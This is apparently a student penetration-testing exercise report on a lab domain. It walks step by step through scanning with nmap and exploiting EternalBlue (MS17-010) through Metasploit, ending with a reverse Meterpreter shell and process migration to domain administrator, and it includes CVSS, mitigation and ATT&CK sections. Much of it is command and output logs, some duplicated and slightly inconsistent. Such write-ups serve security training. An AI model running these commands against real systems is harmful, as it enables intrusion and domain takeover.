

Ex150 Report

Benjamin Ruddy

2022-12-12

Contents

Goal	2
Technical Report	2
Finding: <i>Vulnerable version of SMB protocol on backup domain controller allows for arbitrary remote code execution via specially-crafted network packets, allowing for domain administrator privilege escalation</i>	2
Severity Rating: 10.0	2
Vulnerability Description	2
Confirmation method	2
Mitigation or Resolution Strategy	3
Attack Narrative	4
Scanning the network for the new DC	4
Scanning for an SMB-related vulnerability	4
Carrying out the EternalBlue exploit	5
Escalating privileges to domain admin	5
MITRE ATT&CK Framework TTPs	6

Goal

The goal in this exercise was to get domain administrator through an SMB vulnerability on a new backup domain controller.

Technical Report

Finding: *Vulnerable version of SMB protocol on backup domain controller allows for arbitrary remote code execution via specially-crafted network packets, allowing for domain administrator privilege escalation*

Severity Rating: 10.0

CVSS Base Severity Rating: 10.0 AV:A AC:L PR:N UI:N S:C C:H I:H A:L

Vulnerability Description

An backup domain controller was found at the IP address of 10.70.184.89 running an outdated version of the SMB protocol, typically used for network resource sharing across an organization. Due to a vulnerability in the way in which this version handles certain packets, an attacker may send a request that grants them arbitrary remote code execution on the machine, which can lead them to gain local administrative permissions.

Because many of the processes on this domain controller run as the domain administrator user, a user is then easily able to migrate to those processes and subsequently gain complete domain administrator rights.

Confirmation method

```
msf6 > search eternalblue
Matching Modules
=====
#  Name                                     Disclosure Date   Rank    Check  Description
-  exploit/windows/smb/ms17_010_eternalblue  2017-03-14     average Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
  1  exploit/windows/smb/ms17_010_psexec      2017-03-14     normal  Yes   MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
  2  auxiliary/scanner/smb/ms17_010_command   2017-03-14     normal  No    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
  3  auxiliary/scanner/smb/ms17_010           2017-03-14     normal  No    MS17-010 SMB RCE Detection
  4  exploit/windows/smb/smb_doublepulsar_rce 2017-04-14     great   Yes   SMB DOUBLEPULSAR Remote Code Execution

Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce
msf6 > use 3
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 10.70.184.89
RHOSTS => 10.70.184.89
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[*] 10.70.184.89:445      - Host is likely VULNERABLE to MS17-010! - Windows Server 2016 Standard 14393 x64 (64-bit)
[*] 10.70.184.89:445      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

```
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 10.70.184.89
RHOSTS => 10.70.184.89
msf6 exploit(windows/smb/ms17_010_psexec) > run
[*] Started reverse TCP handler on 172.24.0.11:4444
[*] 10.70.184.89:445 - Target OS: Windows Server 2016 Standard 14393
[*] 10.70.184.89:445 - Built a write-what-where primitive ...
[*] 10.70.184.89:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.70.184.89:445 - Selecting PowerShell target
[*] 10.70.184.89:445 - Executing the payload...
[*] 10.70.184.89:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175686 bytes) to 217.70.184.3:63814
[*] Meterpreter session 1 opened (172.24.0.11:4444 → 217.70.184.3:63814) at 2022-12-07 16:02:34 -0500
meterpreter > cmd
```

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 
```

```
meterpreter > ps
Process List
=====
 PID  PPID  Name          Arch Session User          Path
 0    0     [System Process]
 4    0     System         x64   0      NT AUTHORITY\SYSTEM      C:\Windows\System32\svchost.exe
 72   588   svchost.exe   x64   0      NT AUTHORITY\SYSTEM      C:\Windows\System32\svchost.exe
 256  4     smss.exe      x64   0      NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
 328  588   svchost.exe   x64   0      NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
 356  348   csrss.exe     x64   0      ARTSTAILOR\Administrator C:\Windows\System32\svchost.exe
 380  2796  ServerManager.exe x64   1      ARTSTAILOR\Administrator C:\Windows\System32\ServerManager.exe
 456  348   wininit.exe   x64   0      ARTSTAILOR\Administrator C:\Windows\System32\wininit.exe
```

```
meterpreter > migrate 380
[*] Migrating from 5088 to 380 ...
[*] Migration completed successfully.
meterpreter > whoami
[-] Unknown command: whoami
meterpreter > getuid
Server username: ARTSTAILOR\Administrator
```

Mitigation or Resolution Strategy

It is imperative to update the operating system version on the backup domain controller to the most recently issued version by Microsoft (usually done through the Start Menu → Settings → Windows Updates → Check for Update).

Attack Narrative

Scanning the network for the new DC

To enumerate Art's network in search for the new backup Domain Controller, we performed the usual steps of setting up a SOCKS proxy on the costumes.artstailor.com machine, in which we still have an administrator account under the pr0b3 username. Having done this, we are now able to run an nmap scan to look for open AD-related ports with

```
nmap -Pn 10.70.184.0/24 -p 135,445.
```

Having done so, we were able to find an intriguing host right before the Primary Domain Controller (PDC) IP address with those very ports open:

```
Nmap scan report for 10.70.184.89
Host is up (0.0039s latency).
Scanned at 2022-12-07 15:36:12 EST for 93s

PORT      STATE SERVICE
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
Final times for host: srtt: 3931 rttvar: 3953  to: 100000

Nmap scan report for pdc.artstailor.com (10.70.184.90)
Host is up (0.0034s latency).
Scanned at 2022-12-07 15:35:16 EST for 57s

15 Hosts up.
PORT      STATE SERVICE
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
```

Since this seems like a good candidate for the backup domain controller, we proceed to scan for an SMB-related vulnerability on it.

Scanning for an SMB-related vulnerability

Using the search functionality within the Metasploit framework, we find a few potential modules that may be of help. The one that ended up providing us information about a vulnerability was scanner/smb/smb_ms17_010, letting us know that this backup domain controller may in fact be vulnerable to the famous **EternalBlue** exploit (CVE-2017-0144) that targets a vulnerable version of the SMBv1 protocol implementation.

The screenshot below demonstrates the script along with its results:

```
msf6 > search eternalblue
Matching Modules
=====
# Name                                     Disclosure Date   Rank    Check  Description
-__-
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14     average Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec       2017-03-14     normal  Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command      2017-03-14     normal  No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/ms17_010           2017-03-14     normal  No     MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14     great   Yes    SMB DOUBLEPULSAR Remote Code Execution

Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

msf6 > use 3
msf6 auxiliary(scanner/smb/ms17_010) > set RHOSTS 10.70.184.89
RHOSTS => 10.70.184.89
msf6 auxiliary(scanner/smb/ms17_010) > run

[*] 10.70.184.89:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2016 Standard 14393 x64 (64-bit)
[*] 10.70.184.89:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Carrying out the EternalBlue exploit

Now, we proceed to exploiting the vulnerability itself. Although there are a few different available modules for EternalBlue, we were able to successfully obtain a shell with `exploit/smb/smb_ms17_010_psexec`:

```
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 10.70.184.89
RHOSTS => 10.70.184.89
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 172.24.0.11:4444
[*] 10.70.184.89:445 - Target OS: Windows Server 2016 Standard 14393
[*] 10.70.184.89:445 - Built a write-what-where primitive...
[*] 10.70.184.89:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.70.184.89:445 - Selecting PowerShell target
[*] 10.70.184.89:445 - Executing the payload...
[*] 10.70.184.89:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175686 bytes) to 217.70.184.3
[*] Meterpreter session 1 opened (172.24.0.11:4444 → 217.70.184.3:63814) at 2022-12-07 16:02:34 -0500

meterpreter > cmd
```

However, as we can see in the below screenshot, we do not yet have domain administrator privileges, only local Administrator privileges:

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

Escalating privileges to domain admin

Running `ps` within our meterpreter shell, we are able to list the current system processes along with the user whom they are running as.

```
meterpreter > ps
Process List
=====
 PID  PPID  Name          Arch Session User          Path
---  --- 
 0    0     [System Process] x64   0          NT AUTHORITY\SYSTEM          C:\Windows\System32\svchost.exe
 4    0     System         x64   0          NT AUTHORITY\SYSTEM          C:\Windows\System32\svchost.exe
 72   580   svchost.exe   x64   0          NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
 256  4     smss.exe      x64   0          NT AUTHORITY\SYSTEM          C:\Windows\System32\smss.exe
 320  580   svchost.exe   x64   0          NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
 356  348   csrss.exe     x64   0          NT AUTHORITY\SYSTEM          C:\Windows\System32\csrss.exe
 380  2796  ServerManager.exe x64   1          ARTSTAILOR\Administrator C:\Windows\System32\ServerManager.exe
 456  348   wininit.exe    x64   0          NT AUTHORITY\SYSTEM          C:\Windows\System32\wininit.exe
```

Fortunately, there are a few processes running as ARTSTAILOR Administrator, the domain administrator account. Using the `migrate` command in Metasploit, we can attempt to migrate our shell over to these process IDs.

```
meterpreter > migrate 380
[*] Migrating from 5088 to 380 ...
[*] Migration completed successfully.
meterpreter > whoami
[-] Unknown command: whoami
meterpreter > getuid
Server username: ARTSTAILOR\Administrator
```

As shown in the above screenshot, we were able to successfully migrate our shell over to the process running as domain administrator, and subsequently obtain domain administrator privileges ourselves.

MITRE ATT&CK Framework TTPs

TA007: Discovery

T1046: Network Service Discovery

 NA: NA

TA008: Lateral Movement

T1210: Exploitation of Remote Services

 NA: NA